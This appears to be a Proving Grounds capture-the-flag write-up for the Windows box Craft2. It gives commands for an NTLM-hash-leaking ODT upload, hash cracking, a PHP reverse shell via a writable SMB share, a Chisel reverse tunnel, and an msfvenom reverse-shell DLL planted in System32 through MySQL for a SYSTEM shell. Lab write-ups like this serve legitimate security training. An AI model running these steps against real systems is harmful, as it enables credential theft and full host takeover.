# Craft2 Writeup - Proving Grounds

> Hard Windows box where a malicious ODT upload leaks a NetNTLM hash that cracks to valid credentials, exposing a writable SMB share mapped to the web root for a PHP shell; a passwordless local MySQL running as SYSTEM then writes a DLL into System32 for a WerTrigger DLL-hijack SYSTEM shell.

- **URL:** https://hackindex.io/writeups/craft2
- **Platform:** Proving Grounds
- **Difficulty:** Hard
- **Operating system:** Windows
- **Tags:** information-disclosure, hash-cracking, mysql, xampp, privilege-escalation, dll-hijacking
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Craft2 reuses the ODT upload from its sibling box, but this time a malicious document forces the server to authenticate back over SMB, leaking a NetNTLM hash that cracks offline. The recovered credential unlocks a writable SMB share mapped to the web root for a PHP shell. A local MySQL instance running as SYSTEM with no root password then writes a malicious DLL into `System32`, and triggering WerTrigger loads it for a SYSTEM shell.

## Reconnaissance

### Nmap

Scan the target.

```bash
sudo nmap -Pn -n -sCV -p- --open $TARGET_IP
# PORT      STATE SERVICE VERSION
# 80/tcp    open  http    Apache httpd 2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
# 135/tcp   open  msrpc   Microsoft Windows RPC
# 445/tcp   open  smb     Microsoft Windows SMB
# 49666/tcp open  msrpc   Microsoft Windows RPC
```

Apache/XAMPP again serves a file upload restricted to ODT documents. Enumerate directories and SMB.

```bash
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://craft.offsec -x php,txt
# 200  /upload.php   # ODT file upload handler
# 301  /uploads/     # uploaded file destination
```

```bash
enum4linux $TARGET_IP
smbclient -N -L \\\\$TARGET_IP\\
crackmapexec smb $TARGET_IP --shares
# Anonymous access reveals share names but no usable access without credentials.
```

Anonymous SMB access reveals share names only. The upload form accepts `.odt` files that are processed server-side, most likely by LibreOffice or OpenOffice. That processing step is exploitable: a crafted ODF file can embed a reference to an attacker SMB share, which forces the server to authenticate back and leak its NetNTLM hash.

## Exploitation

### Malicious ODT and NetNTLM capture

Generate a malicious ODT with the BadODF technique, embedding a UNC path to an attacker-controlled share.

```bash
pip install ezodf
python3 badodt.py
# Enter attacker IP when prompted
```

Stand up an Impacket SMB server to catch the authentication attempt, then upload the ODT through the web form. The server opens it and authenticates to the fake share, leaking its NetNTLM hash.

```bash
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py temp $(pwd) -smb2support
# thecybergeek::CRAFT2:<NTLMv2 hash>
```

Crack the captured hash offline.

```bash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
# thecybergeek:$THECYBERGEEK_PASSWORD
```

Validate the recovered credential and check for writable shares.

### SMB share access and web shell upload

Check for writable shares with CrackMapExec.

```bash
crackmapexec smb $TARGET_IP -u thecybergeek -p $THECYBERGEEK_PASSWORD --shares
# WebApp   READ,WRITE   # mapped to the web root
```

The `WebApp` share maps to the web root and is writable. Upload a PHP reverse shell.

```bash
smbclient \\\\$TARGET_IP\\WebApp -U 'CRAFT2\thecybergeek'
put shell.php
```

Start a listener and trigger the shell over HTTP.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
curl http://craft.offsec/shell.php
```

Shell caught as a low-privileged user. Enumerate the host for a privilege escalation path.

## Privilege Escalation

### MySQL running as SYSTEM

Run WinPEAS and review the findings.

```bash
winpeas.exe
# MySQL running as SYSTEM: root, no password, listening on localhost:3306 only
# phpMyAdmin available at http://localhost/phpmyadmin/
# Write permissions in C:\Windows\system32 and C:\xampp
```

MySQL only listens on localhost, so tunnel it out with Chisel to reach phpMyAdmin.

```bash
./chisel server -p $ATTACKER_PORT --reverse
# server: Reverse tunnelling enabled
```

```powershell
.\chisel client $ATTACKER_IP:$ATTACKER_PORT R:80:127.0.0.1:80
```

Through the tunnel, phpMyAdmin authenticates as `root` with a blank password. MySQL here runs as SYSTEM, and its `load_file()`/`INTO DUMPFILE` primitives can write arbitrary files with SYSTEM privileges. Pair that with WerTrigger, a Windows Error Reporting DLL hijack: when `WerTrigger.exe` runs, it loads a DLL from its own directory, so planting one in `System32` gets it loaded as SYSTEM.

### WerTrigger DLL hijack via MySQL

Generate the malicious DLL.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f dll > phoneinfo.dll
```

Upload `phoneinfo.dll`, `WerTrigger.exe` and `Report.wer` to the web root via the writable SMB share, then use MySQL's file write primitive through phpMyAdmin to move them into `System32`.

```sql
SELECT load_file('C:\\xampp\\htdocs\\phoneinfo.dll') INTO DUMPFILE 'C:\\Windows\\system32\\phoneinfo.dll';
SELECT load_file('C:\\xampp\\htdocs\\Report.wer') INTO DUMPFILE 'C:\\Windows\\system32\\Report.wer';
SELECT load_file('C:\\xampp\\htdocs\\WerTrigger.exe') INTO DUMPFILE 'C:\\Windows\\system32\\WerTrigger.exe';
```

Start a listener, then run WerTrigger on the target.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```powershell
.\WerTrigger.exe
```

The listener catches a SYSTEM shell once Windows Error Reporting loads the planted DLL.

```powershell
whoami
# nt authority\system
```

Related
